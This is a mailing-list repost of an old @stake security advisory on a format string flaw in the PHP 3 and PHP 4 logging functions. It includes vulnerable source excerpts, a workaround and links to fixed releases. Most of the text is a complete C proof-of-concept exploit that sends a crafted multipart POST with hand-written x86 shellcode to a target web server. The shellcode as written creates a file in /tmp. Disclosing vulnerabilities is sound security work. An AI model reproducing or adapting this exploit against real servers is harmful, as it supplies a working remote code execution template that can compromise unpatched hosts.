PHP3/PHP4 Format String vulnerability exposes web servers to machine
compromise
------------------------------------------------------------------------
SUMMARY
@stake discovered a format string attack in the logging functions of PHP
versions 3 and 4. This can lead to remote takeover of PHP enabled web
servers that have logging enabled.
DETAILS
PHP versions 3 and 4 employ a set of logging functions that, through an
improper use of 'syslog()' and 'vsnprintf()', render it vulnerable to
attack. The attacker could utilize this vulnerability to remotely
compromise any PHP enabled web server that has logging to either syslog
or
to a file enabled in the 'php.ini' configuration file. This particular
attack does not affect PHP installations that do not log PHP errors and
warnings.
Detailed Description:
PHP versions 3 and 4 utilize the following functions:
main/php_syslog.h:
#define php_syslog syslog
main/main.c:
void php_log_err(char *log_message)
{
.. =20
php_syslog(LOG_NOTICE, log_message)
..
fprintf(log_file, "[%s] ", error_time_str);
fprintf(log_file, log_message);
fprintf(log_file, "\n");
..
}
Hence, if the "log_message" contains any user input at all, then it
creates a vulnerability. An exploitable condition is presented in the
following code for PHP 3, since 'php3_error' calls down to php_log_err
if
logging is enabled:
main/main.c:
PHPAPI void php3_error(int type, const char *format,...) {
..
char log_buffer[1024];
snprintf(log_buffer, 1024, "PHP 3 %s: %s in %s on line
=
%d",
error_type_str, buffer, filename, =
php3_get_lineno(GLOBAL(current_lineno)));
php3_log_err(log_buffer);
..
}
functions/post.c:
static char *php3_getpost(pval *http_post_vars)
{
..
php3_error(E_WARNING, "File Upload Error: No MIME boundary
found");
php3_error(E_WARNING, "There should have been a
\"boundary=3D3Dsomething\" in the Content-Type string");
php3_error(E_WARNING, "The Content-Type string was: \"%s\"",
ctype);
..
}
PHP4 looks vulnerable as well, but in a different place. When a file is
uploaded via a post operation, if the file name contains format string
exploit code, and the file size is larger than the maximum file size for
uploads, the following code is executed. Note that this possible problem
has not been tested by @stake, but the code path looks problematic:
static void php_mime_split(char *buf, int cnt, char *boundary, zval
*array_ptr)
{
..
php_error(E_WARNING, "Max file size exceeded - file [%s] not
saved", namebuf);
..
}
Temporary Solution:
Turn off logging on PHP3 and PHP4 by going into your 'php.ini' file and
changing the following settings to:
log_errors = Off
Vendor Response:
A fixed version of PHP4 is available:
<http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz>
http://www.php.net/do_download.php?download_file=3Dphp-4.0.3.tar.gz
A fixed version of PHP3 is available:
<http://www.php.net/distributions/php-3.0.17.tar.gz>
http://www.php.net/distributions/php-3.0.17.tar.gz
Exploit Code:
This proof of concept code creates a zero length file in /tmp/BADPHP.
Use
like this:
gcc badphp.c && ./a.out <ip address of webserver> <port of webserver>
<php file path>
(php file path must point to an existing php file, such as /foo.php3)
#include<stdio.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<netdb.h>
#define BSIZE 1549
#define BUFFERZONE 128
int main(int argc, char *argv[])
{
int i,start,count;
int stackloc=0xBFFFDA60;
int s;
FILE *f;
fd_set rfds;
struct hostent *he;
struct sockaddr_in saddr;
char sploit[BSIZE];
char file[]="/tmp/BADPHP";
char c;
if(argc!=5) {
printf("%s <addr> <port> <offset> <php file name>\n",argv[0]);
printf("offset=0 for most systems.\n");
return 0;
}
/*** build exploit string ***/
/* write bad format string, adding in offset */
snprintf(sploit,sizeof(sploit),
"Content-Type:multipart/form-data %%%uX%%X%%X%%hn",
55817 /*+offset0,1,2,3*/ );
/* fill with breakpoints and nops*/
start=strlen(sploit);
memset(sploit+start,0xCC,BSIZE-start);
memset(sploit+start+BUFFERZONE*4,0x90,BUFFERZONE*4);
sploit[BSIZE-1]=0;
/* pointer to start of code (stackloc+4) */
count=BUFFERZONE;
for(i=0;i<count;i++) {
unsigned int value=stackloc+4+(count*4);
if((value&0x000000FF)==0) value|=0x00000004;
if((value&0x0000FF00)==0) value|=0x00000400;
if((value&0x00FF0000)==0) value|=0x00040000;
if((value&0xFF000000)==0) value|=0x04000000;
*(unsigned int *)&(sploit[start+i*4])=value;
}
start+=BUFFERZONE*4*2;
/*** build shellcode ***/
sploit[start+0]=0x90; /* nop */
sploit[start+1]=0xBA; /* mov edx, (not 0x1B6 (a+rw)) */
sploit[start+2]=0x49;
sploit[start+3]=0xFE;
sploit[start+4]=0xFF;
sploit[start+5]=0xFF;
sploit[start+6]=0xF7; /* not edx */
sploit[start+7]=0xD2;
sploit[start+8]=0xB9; /* mov ecx, (not 0x40 (O_CREAT)) */
sploit[start+9]=0xBF;
sploit[start+10]=0xFF;
sploit[start+11]=0xFF;
sploit[start+12]=0xFF;
sploit[start+13]=0xF7; /* not ecx */
sploit[start+14]=0xD1;
sploit[start+15]=0xE8; /* call eip+4 + inc eax (overlapping) */
sploit[start+16]=0xFF;
sploit[start+17]=0xFF;
sploit[start+18]=0xFF;
sploit[start+19]=0xFF;
sploit[start+20]=0xC0;
sploit[start+21]=0x5B; /* pop ebx */
sploit[start+22]=0x6A; /* push 22 (offset to end of sploit (filename))
*/
sploit[start+23]=0x16;
sploit[start+24]=0x58; /* pop eax */
sploit[start+25]=0x03; /* add ebx,eax */
sploit[start+26]=0xD8;
sploit[start+27]=0x33; /* xor eax,eax */
sploit[start+28]=0xC0;
sploit[start+29]=0x88; /* mov byte ptr [ebx+11],al */
sploit[start+30]=0x43;
sploit[start+31]=0x0B;
sploit[start+32]=0x83; /* add eax,5 */
sploit[start+33]=0xC0;
sploit[start+34]=0x05;
sploit[start+35]=0xCD; /* int 80 (open) */
sploit[start+36]=0x80;
sploit[start+37]=0x33; /* xor eax,eax */
sploit[start+38]=0xC0;
sploit[start+39]=0x40; /* inc eax */
sploit[start+40]=0xCD; /* int 80 (_exit) */
sploit[start+41]=0x80;
/* add filename to touch */
strncpy(&sploit[start+42],file,strlen(file));
/*** send exploit string ***/
/* create socket */
s=socket(PF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s<0) {
printf("couldn't create socket.\n");
return 0;
}
/* connect to port */
memset(&saddr,0,sizeof(saddr));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(atoi(argv[2]));
he=gethostbyname(argv[1]);
if(he==NULL) {
printf("invalid hostname.\n");
}
memcpy(&(saddr.sin_addr.s_addr),he->h_addr_list[0],sizeof(struct
in_addr));
if(connect(s,(struct sockaddr *)&saddr,sizeof(saddr))!=0) {
printf("couldn't connect.\n");
return 0;
}
/* fdopen the socket to use stream functions */
f=fdopen(s,"w");
if(f==NULL) {
close(s);
printf("couldn't fdopen socket.\n");
return 0;
}
/* put the post request to the socket */
fprintf(f,"POST %s HTTP/1.0\n",argv[4]);
fputs(sploit,f);
fputc('\n',f);
fputc('\n',f);
fflush(f);
/* close the socket */
fclose(f);
close(s);
return 0;
}
--
Eko Sulistiono
MIKRODATA & AntiVirus Media
Web: http://www.mikrodata.co.id/
WAP: http://www.mikrodata.co.id/wap/index.wml
This message contains no viruses. Guaranteed by AVP.
------------------------------------------------------------------------
Forum Komunikasi Penulis-Pembaca MIKRODATA (FKPPM)
Informasi : http:[EMAIL PROTECTED]
Arsip : http://www.mail-archive.com/forum%40mikrodata.co.id/
WAP : http://mikrodata.co.id/wap/index.wml
Milis ini menjadi kontribusi beberapa rubrik yang diasuh tim MIKRODATA.
Termasuk rubrik-rubrik yang ada di media lain.
Memakai, Menyebarluaskan, dan Memperbanyak software bajakan adalah
tindakan kriminal.
Please check with the latest AVP update before you ask about virus:
ftp://mikrodata.co.id/avirus_&_security/AntiViral_Toolkit_Pro/avp30.zip